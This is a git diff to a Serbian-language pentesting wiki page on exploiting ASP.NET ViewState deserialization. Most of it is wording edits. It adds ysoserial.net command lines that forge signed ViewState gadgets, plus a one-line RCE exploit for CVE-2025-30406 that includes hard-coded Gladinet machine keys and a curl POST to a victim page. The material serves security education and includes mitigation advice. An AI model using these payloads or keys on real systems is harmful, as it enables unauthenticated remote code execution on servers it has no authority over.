diff --git a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md
index 51404c5a0..49fd366bd 100644
--- a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md
+++ b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md
@@ -6,25 +6,25 @@
## Šta je ViewState
-**ViewState** služi kao podrazumevani mehanizam u ASP.NET-u za održavanje podataka o stranici i kontrolama između web stranica. Tokom renderovanja HTML-a stranice, trenutna stanja stranice i vrednosti koje treba sačuvati tokom postback-a se serijalizuju u base64-enkodirane stringove. Ovi stringovi se zatim smeštaju u skrivene ViewState polja.
+**ViewState** služi kao podrazumevani mehanizam u ASP.NET-u za održavanje podataka o stranici i kontrolama između web stranica. Tokom renderovanja HTML-a stranice, trenutna stanja stranice i vrednosti koje treba sačuvati tokom postback-a se serijalizuju u base64-encoded stringove. Ovi stringovi se zatim smeštaju u skrivene ViewState polja.
Informacije o ViewState-u mogu se karakterisati sledećim svojstvima ili njihovim kombinacijama:
- **Base64**:
-- Ovaj format se koristi kada su atributi `EnableViewStateMac` i `ViewStateEncryptionMode` postavljeni na false.
-- **Base64 + MAC (Kod za autentifikaciju poruka) omogućen**:
-- Aktivacija MAC-a se postiže postavljanjem atributa `EnableViewStateMac` na true. Ovo obezbeđuje verifikaciju integriteta podataka ViewState-a.
+- Ovaj format se koristi kada su oba atributa `EnableViewStateMac` i `ViewStateEncryptionMode` postavljena na false.
+- **Base64 + MAC (Kod za autentifikaciju poruka) Omogućen**:
+- Aktivacija MAC-a se postiže postavljanjem atributa `EnableViewStateMac` na true. Ovo obezbeđuje verifikaciju integriteta za ViewState podatke.
- **Base64 + Enkriptovano**:
-- Enkripcija se primenjuje kada je atribut `ViewStateEncryptionMode` postavljen na true, obezbeđujući poverljivost podataka ViewState-a.
+- Enkripcija se primenjuje kada je atribut `ViewStateEncryptionMode` postavljen na true, obezbeđujući poverljivost ViewState podataka.
## Test slučajevi
Slika je tabela koja detaljno opisuje različite konfiguracije za ViewState u ASP.NET-u na osnovu verzije .NET framework-a. Evo sažetak sadržaja:
-1. Za **bilo koju verziju .NET-a**, kada su i MAC i enkripcija onemogućeni, MachineKey nije potreban, i stoga ne postoji primenljiva metoda za njegovo identifikovanje.
-2. Za **verzije ispod 4.5**, ako je MAC omogućen, ali enkripcija nije, MachineKey je potreban. Metoda za identifikovanje MachineKey-a se naziva "Blacklist3r."
-3. Za **verzije ispod 4.5**, bez obzira na to da li je MAC omogućen ili onemogućen, ako je enkripcija omogućena, MachineKey je potreban. Identifikovanje MachineKey-a je zadatak za "Blacklist3r - Budući razvoj."
-4. Za **verzije 4.5 i više**, sve kombinacije MAC-a i enkripcije (bilo da su oba true, ili jedan true a drugi false) zahtevaju MachineKey. MachineKey se može identifikovati koristeći "Blacklist3r."
+1. Za **bilo koju verziju .NET-a**, kada su i MAC i Enkripcija onemogućeni, MachineKey nije potreban, i stoga ne postoji primenljiva metoda za njegovo identifikovanje.
+2. Za **verzije ispod 4.5**, ako je MAC omogućen, ali Enkripcija nije, MachineKey je potreban. Metoda za identifikovanje MachineKey-a se naziva "Blacklist3r."
+3. Za **verzije ispod 4.5**, bez obzira na to da li je MAC omogućen ili onemogućen, ako je Enkripcija omogućena, MachineKey je potreban. Identifikovanje MachineKey-a je zadatak za "Blacklist3r - Budući razvoj."
+4. Za **verzije 4.5 i više**, sve kombinacije MAC-a i Enkripcije (bilo da su oba true, ili jedan true a drugi false) zahtevaju MachineKey. MachineKey se može identifikovati koristeći "Blacklist3r."
### Test slučaj: 1 – EnableViewStateMac=false i viewStateEncryptionMode=false
@@ -108,11 +108,11 @@ U slučajevima kada server **ne šalje** `_VIEWSTATEGENERATOR` parametar **ne mo
```
### Test Case: 3 – .Net < 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true
-U ovom slučaju nije poznato da li je parametar zaštićen MAC-om. Tada je verovatno da je vrednost enkriptovana i **biće vam potrebna Mašinska Ključ za enkripciju vašeg payload-a** kako biste iskoristili ranjivost.
+U ovom slučaju nije poznato da li je parametar zaštićen MAC-om. Tada je vrednost verovatno enkriptovana i **biće vam potrebna Mašinska Ključ za enkripciju vašeg payload-a** kako biste iskoristili ranjivost.
**U ovom slučaju** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **modul je u razvoju...**
-**Pre .NET 4.5**, ASP.NET može **prihvatiti** **nekriptovani** \_`__VIEWSTATE`\_parametar od korisnika **čak i** ako je **`ViewStateEncryptionMode`** postavljen na _**Uvek**_. ASP.NET **samo proverava** **prisutnost** **`__VIEWSTATEENCRYPTED`** parametra u zahtevu. **Ako se ukloni ovaj parametar i pošalje nekriptovani payload, on će i dalje biti obrađen.**
+**Pre .NET 4.5**, ASP.NET može **prihvatiti** **nekriptovani** \_`__VIEWSTATE`\_parametar od korisnika **čak i** ako je **`ViewStateEncryptionMode`** postavljen na _**Uvek**_. ASP.NET **samo proverava** **prisutnost** **`__VIEWSTATEENCRYPTED`** parametra u zahtevu. **Ako se ovaj parametar ukloni i pošalje nekriptovani payload, on će i dalje biti obrađen.**
Stoga, ako napadači pronađu način da dobiju Mašinski ključ putem druge ranjivosti kao što je pretraga fajlova, [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) komanda korišćena u **Slučaju 2**, može se koristiti za izvođenje RCE koristeći ranjivost deserializacije ViewState-a.
@@ -124,7 +124,7 @@ Možemo naterati korišćenje ASP.NET okvira tako što ćemo navesti dole navede
```xml
```
-Alternativno, ovo se može uraditi tako što ćete navesti opciju ispod unutar `machineKey` parametra u web.config datoteci.
+Alternativno, ovo se može uraditi tako što se specificira opcija ispod unutar `machineKey` parametra web.config datoteke.
```bash
compatibilityMode="Framework45"
```
@@ -159,7 +159,7 @@ Uspešna eksploatacija ranjivosti deserializacije ViewState-a dovodi do zahteva
### Test Case 6 – ViewStateUserKeys se koristi
-Svojstvo **ViewStateUserKey** može se koristiti za **odbranu** od **CSRF napada**. Ako je takav ključ definisan u aplikaciji i pokušamo da generišemo **ViewState** payload koristeći metode o kojima smo do sada razgovarali, **payload neće biti obrađen od strane aplikacije**.\
+Svojstvo **ViewStateUserKey** može se koristiti za **odbranu** od **CSRF napada**. Ako je takav ključ definisan u aplikaciji i pokušamo da generišemo **ViewState** payload koristeći metode o kojima se do sada razgovaralo, **payload neće biti obrađen od strane aplikacije**.\
Treba da koristite još jedan parametar kako biste ispravno kreirali payload:
```bash
--viewstateuserkey="randomstringdefinedintheserver"
@@ -188,7 +188,7 @@ Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.C
}
```
-Zahtev za stranicu ispisuje **ValidationKey**, **DecryptionKey**, algoritam enkripcije i ASP.NET režim kompatibilnosti. Ove vrednosti se sada mogu direktno uneti u **ysoserial.net** da bi se kreirao validan, potpisan `__VIEWSTATE` uređaj:
+Zahtev za stranicu ispisuje **ValidationKey**, **DecryptionKey**, algoritam enkripcije i ASP.NET režim kompatibilnosti. Ove vrednosti se sada mogu direktno uneti u **ysoserial.net** da bi se kreirao validan, potpisan `__VIEWSTATE` gadget:
```bash
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -nop -c \"whoami\"" \
@@ -198,10 +198,48 @@ ysoserial.exe -p ViewState -g TypeConfuseDelegate \
--islegacy --minify
curl "http://victim/page.aspx?__VIEWSTATE="
```
-Ova **key-exfiltration primitive** je masovno iskorišćena protiv on-prem SharePoint servera 2025. godine ("ToolShell" – CVE-2025-53770/53771), ali je primenljiva na svaku ASP.NET aplikaciju gde napadač može da pokrene server-side kod.
+Ova **primitive za eksfiltraciju ključeva** je masovno iskorišćena protiv on-prem SharePoint servera 2025. godine ("ToolShell" – CVE-2025-53770/53771), ali je primenljiva na svaku ASP.NET aplikaciju gde napadač može da pokrene kod na serveru.
-## References
+## Scenariji stvarne eksploatacije 2024-2025 i hard-kodirani mašinski ključevi
+### Talas "javnih mašinskih ključeva" Microsoft-a (decembar 2024 – februar 2025)
+Microsoft Threat Intelligence je izvestio o masovnoj eksploataciji ASP.NET sajtova gde je *machineKey* prethodno bio otkriven na javnim izvorima (GitHub gists, blog postovi, paste sajtovi). Protivnici su enumerisali ove ključeve i generisali validne `__VIEWSTATE` gadgete sa novijim `ysoserial.net` 1.41 `--minify` i `--islegacy` flagovima kako bi izbegli WAF ograničenja dužine:
+```bash
+ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
+--validationkey= --validationalg=SHA1 \
+--decryptionkey= --decryptionalg=AES \
+--generator= --minify
+```
+Rotiranje statičkih ključeva ili prelazak na *AutoGenerate* ključeve u Web .config (``) ublažava ovu klasu napada. {{#ref}}
+
+{{#endref}}
+
+### CVE-2025-30406 – Gladinet CentreStack / Triofox hard-coded ključevi
+Kudelski Security je otkrio da su više verzija CentreStack / Triofox isporučene sa identičnim `machineKey` vrednostima, omogućavajući neautentifikovanu daljinsku izvršavanje koda putem ViewState falsifikacije (CVE-2025-30406).
+
+Jednolinijski exploit:
+```bash
+ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
+--validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \
+--validationalg=SHA1 \
+--decryptionkey=1FB1DEBB8B3B492390B2ABC63E6D1B53DC9CA2D7 \
+--decryptionalg=AES --generator=24D41AAB --minify \
+| curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx
+```
+Ispravljeno u CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 – odmah nadogradite ili zamenite ključeve. {{#ref}}
+
+
+{{#endref}}
+
+## Reference
+
+- [Exploiting ViewState deserialization using Blacklist3r and YSoSerial.NET](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
+- [Deep dive into .NET ViewState deserialization and its exploitation](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
+- [Exploiting deserialisation in ASP.NET via ViewState (Soroush Dalili, 2019)](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
+- [Introducing badsecrets – fast machineKey discovery](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
+- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)
+- [Microsoft Security – Code injection attacks abusing publicly disclosed ASP.NET machine keys (Feb 6 2025)](https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/)
+- [Kudelski Security advisory – Gladinet CentreStack / Triofox RCE CVE-2025-30406 (Apr 16 2025)](https://research.kudelskisecurity.com/2025/04/16/gladinet-centrestack-and-gladinet-triofox-critical-rce-cve-2025-30406/)
- [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
- [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)